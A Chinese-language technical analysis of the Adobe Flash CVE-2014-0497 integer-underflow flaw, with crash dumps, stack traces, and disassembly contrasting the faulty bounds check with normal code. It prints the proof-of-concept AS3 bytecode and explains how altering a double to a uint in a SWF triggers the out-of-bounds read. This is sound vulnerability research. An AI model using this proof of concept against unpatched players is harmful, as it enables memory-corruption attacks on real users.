Adobe Flash CVE-2014-0497漏洞分析
春节期间Adobe Flash播放器被爆出0Day漏洞(编号:CVE-2014-0497),该漏洞危害Flash 12.0.0.38以及之前的版本。Adobe官方已推出修复补丁。
该漏洞是由于SWF中嵌入AS3代码解析错误。在分析的样本文件中,通过AS3 Sorcerer查看样本文件中的AS3代码,AS3中利用了li32与ByteArray结合实现快速的内存读取。根据Adobe的官方解释,li32函数的参数是一个ByteArray数组的索引值,这个函数可以将ByteArray中的数据快速存取到变量中,但是这个索引值的大小必须在0到ByteArray的数组长度之间,意味着这个函数会进行边界检查,而在生成数组边界检查代码的时候会根据我们构造的数据判断是否为无符号数,这里我们构造了恶意数据使其生成了无符号数的比较代码。
在生成有符号数比较代码时会生成“sub esi,4”这条指令,这条指令主要是将数组长度减去4,防止从byte数组读取int数据时发生缓冲区溢出,而生成无符号数比较代码时,会生成“sub esi,80000004h”,esi中本来存储的是数组长度0×1000,经过这条指令后,变成一个负数,即很大的无符号数。进行无符号匹配跳转时,索引值比长度大的时会跳转到数组越界处理程序,而现在长度远比索引值大,所以可以继续往下执行,因此就会读取到数组外的数据,发生溢出。
Crash:
(17c.5e4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=8357e000 ebx=0357e000 ecx=02bcbaf0 edx=80002100 esi=80000000 edi=02843fc8 eip=02e5f45e esp=0012e728 ebp=0012e8c0 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00250286 02e5f45e 8b0410 mov eax,dword ptr [eax+edx] ds:0023:03580100=????????
数组中的内容:
06cc4000 6f6d336d 00007972 00000000 00000000 m3mory.......... 06cc4010 00000000 00000000 00000000 00000000 ................ 06cc4020 00000000 00000000 00000000 00000000 ................ 06cc4030 00000000 00000000 00000000 00000000 ................ 06cc4040 00000000 00000000 00000000 00000000 ................ 06cc4050 00000000 00000000 00000000 00000000 ................ 06cc4060 00000000 00000000 00000000 00000000 ................ 06cc4070 00000000 00000000 00000000 00000000 ................
在漏洞发生的时候是从eax数组中读取指定索引的数据,数据区不可访问出错。
0:000> kv ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0012e8c0 009d9231 066db910 00000000 0012e910 0x682cefc 0012e8e4 009d9f85 066db910 00000000 0012e910 Flash_player_12_0!IAEModule_IAEKernel_UnloadModule+0x10beb1 0012e938 009d9a1e 066db910 00000000 0012e98c Flash_player_12_0!IAEModule_IAEKernel_UnloadModule+0x10cc05 0012e974 009c26fd 00000000 0012e98c 06663180 Flash_player_12_0!IAEModule_IAEKernel_UnloadModule+0x10c69e 0012ea20 009c45be 01a23020 0191c1f0 00000000 Flash_player_12_0!IAEModule_IAEKernel_UnloadModule+0xf537d 0012ea4c 0048ced4 018fb060 00000001 018fb060 Flash_player_12_0!IAEModule_IAEKernel_UnloadModule+0xf723e 0012eae8 0048d32b 018fb060 0012ecc4 00000000 Flash_player_12_0!WinMainSandboxed+0x89be8 0012eb18 0048dd4c 00000008 00000000 0012ecc4 Flash_player_12_0!WinMainSandboxed+0x8a03f 0012ec7c 00426f3b 018fd0a0 07ffffff 07ffffff Flash_player_12_0!WinMainSandboxed+0x8aa60 00000000 00000000 00000000 00000000 00000000 Flash_player_12_0!WinMainSandboxed+0x23c4f
进行栈回溯
009d9220 8b4d10 mov ecx,dword ptr [ebp+10h] 009d9223 8b5008 mov edx,dword ptr [eax+8] 009d9226 8b5204 mov edx,dword ptr [edx+4] 009d9229 51 push ecx 009d922a 8b4d0c mov ecx,dword ptr [ebp+0Ch] 009d922d 51 push ecx 009d922e 50 push eax 009d922f ffd2 call edx //调用动态生成的代码。 009d9231 83c40c add esp,0Ch
在解析我们编写的AS3的代码TestExploit()之前,Flash还会解析其他的代码,如function script0$init():*,function script0$init():*,在将这些代码都解析完成之后,才会进入TestExploit()。 因此会多次进入动态生成的代码区,研究人员可以记录每次EDX,当发生崩溃后,进入最后一次的EDX代码区,对其进行分析。在研究漏洞的过程中,flash的计时器以及本身的机制会对结果造成很大的影响,所以在调试的时候要快速的找到断点,溢出的位置与EDX数据的偏移是一致的,可以在进入到虚拟代码时,对偏移地址下断点,这样就可以快速跟踪到溢出地点。 字节码:
6 constructsuper (0) 8 pushuint 2147483648 // 0x80000000 //被修改的字节码将double类型修改成Uint类型。 10 setlocal1 11 findpropstrict flash.utils::ByteArray //nameIndex = 2 13 constructprop flash.utils::ByteArray (0) //nameIndex = 2 16 coerce flash.utils::ByteArray //nameIndex = 2 18 setlocal2 19 getlocal2 20 pushshort 4096 23 setproperty length //nameIndex = 7 25 getlocal2 26 pushstring "m3mory" //stringIndex = 18 //数组赋值 28 callpropvoid writeUTFBytes (1) //nameIndex = 8 31 getlex flash.system::ApplicationDomain //nameIndex = 13 33 getproperty currentDomain //nameIndex = 5 35 getlocal2 36 setproperty domainMemory //nameIndex = 6 38 getlocal1 39 pushint 2147475196 // 0x7fffdefc 该数据与变量相减取得索引压栈传递给li32 41 subtract 42 li32 //在该函数中对上面传过来的索引进行比较发生了溢出 43 setlocal3 44 getlocal1 45 pushshort 8448 48 add 49 li32 50 pushint 305419896 // 0x12345678 52 ifne L1
溢出点汇编代码
0682ced3 8b5014 mov edx,dword ptr [eax+14h] //数组的索引地址 0682ced6 8b7018 mov esi,dword ptr [eax+18h] //数组的大小 0682ced9 8d8300210080 lea eax,[ebx-7*******h] //ebx=_local4,eax为构造的数据做为读取数组的索引值。 0682cedf 81ee04000080 sub esi,80000004h //因为是从byte中读取int32数据,所以最后索引地址只能是数组长度-4,否则会造成溢出,但就是在做边界检查的时候发生了溢出,这里漏洞利用人员构造了特殊的结构,使这里不是减4,而是减80000004,这样esi就变成了负数,下面进行边界检查是用的无符号数的比较。 0682cee5 3bc6 cmp eax,esi //比较数组长度和要读取索引值 0682cee7 8bb5dcfeffff mov esi,dword ptr [ebp-124h] 0682ceed 0f878b000000 ja 0682cf7e //若eax>esi跳转,如果小于则不跳转,原eax>esi,经过上面的减法之后造成了整数向下溢出,再进行无符号的匹配。如果正常跳转将会进入到,数组越界处理程序。 0682cef3 8bc2 mov eax,edx //eax存储数组索引 0682cef5 03c3 add eax,ebx //ebx是poc中构造的值 0682cef7 bb00210080 mov ebx,80002100h //将地址偏移赋值给ebx 0682cefc 8b0418 mov eax,dword ptr [eax+ebx] ds:0023:06cd4000=???????? //读取数据是,在此由于我们构造的POC中暑给了足够大的距离使每次读取数据都可以发生溢出。 0682ceff 894588 mov dword ptr [ebp-78h],eax 正常AS3生成的汇编代码 06b39f0e 8b45c8 mov eax,dword ptr [ebp-38h] 06b39f11 8b5314 mov edx,dword ptr [ebx+14h] 06b39f14 8b7318 mov esi,dword ptr [ebx+18h] 06b39f17 8d9805210080 lea ebx,[eax-7FFFDEFBh] 06b39f1d 8bfe mov edi,esi 06b39f1f 83ef04 sub edi,4 06b39f22 3bdf cmp ebx,edi 06b39f24 7768 ja 06b39f8e 06b39f26 8bda mov ebx,edx 06b39f28 03d8 add ebx,eax 06b39f2a bf05210080 mov edi,80002105h 06b39f2f 8b1c3b mov ebx,dword ptr [ebx+edi]
正常AS3生成的汇编代码
06b39f0e 8b45c8 mov eax,dword ptr [ebp-38h] 06b39f11 8b5314 mov edx,dword ptr [ebx+14h] 06b39f14 8b7318 mov esi,dword ptr [ebx+18h] 06b39f17 8d9805210080 lea ebx,[eax-7FFFDEFBh] 06b39f1d 8bfe mov edi,esi 06b39f1f 83ef04 sub edi,4 //此处为减4而不是减80000004 06b39f22 3bdf cmp ebx,edi 06b39f24 7768 ja 06b39f8e 06b39f26 8bda mov ebx,edx 06b39f28 03d8 add ebx,eax 06b39f2a bf05210080 mov edi,80002105h 06b39f2f 8b1c3b mov ebx,dword ptr [ebx+edi]
该漏洞的成因是因为,Flash在对无符号数和有符号的数据访问控制出错,导致了有符号整数向下溢漏洞。在研究POC的过程中可以使用,字节码修改工具修改swf文件的字节码,将一个有符号数修改成无符号数,那么在生成代码的时候就会生成错误代码。
正常的AS3文件生成字节码是: pushdouble 2147483648 // 0x80000000 修改后的字节码 pushuint 2147483648 // 0x80000000